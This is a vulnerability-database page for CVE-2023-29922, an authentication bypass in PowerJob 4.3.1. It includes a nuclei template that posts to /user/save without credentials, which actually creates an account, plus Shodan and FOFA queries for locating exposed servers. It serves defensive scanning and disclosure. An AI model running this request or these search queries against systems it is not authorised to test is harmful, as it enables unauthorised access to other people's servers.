HexBrain

Browse / CVEs / CVE-2023-29922

CVE-2023-29922· powerjob / powerjob· CWE-1188

PowerJob V4.3.1 - Authentication Bypass

mediumseverity
5.3CVSS score
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create user/save interface.

Impact

Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.

Fix

Apply the latest security patch or upgrade to a patched version of PowerJob V4.3.1.

How to confirm it

Send: POST /user/save
Positive when: contains "\"success\":true" and "\"data\":null" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-29922 -u <target>

The full check
id: CVE-2023-29922

info:
  name: PowerJob V4.3.1 - Authentication Bypass
  author: Co5mos
  severity: medium
  description: |
    PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create user/save interface.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the application.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of PowerJob V4.3.1.
  reference:
    - https://github.com/PowerJob/PowerJob/issues/585
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29922
    - https://github.com/CN016/Powerjob-CVE-2023-29922-
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/1820112015/CVE-2023-29923
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-29922
    cwe-id: CWE-1188
    epss-score: 0.02998
    epss-percentile: 0.87467
    cpe: cpe:2.3:a:powerjob:powerjob:4.3.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: powerjob
    product: powerjob
    shodan-query:
      - html:"PowerJob"
      - http.html:"powerjob"
    fofa-query:
      - app="PowerJob"
      - app="powerjob"
      - body="powerjob"
  tags: cve,cve2023,auth-bypass,powerjob,vuln
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /user/save HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{str}}","phone":"{{str}}","email":"{{str}}","webHook":"{{str}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"data":null'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from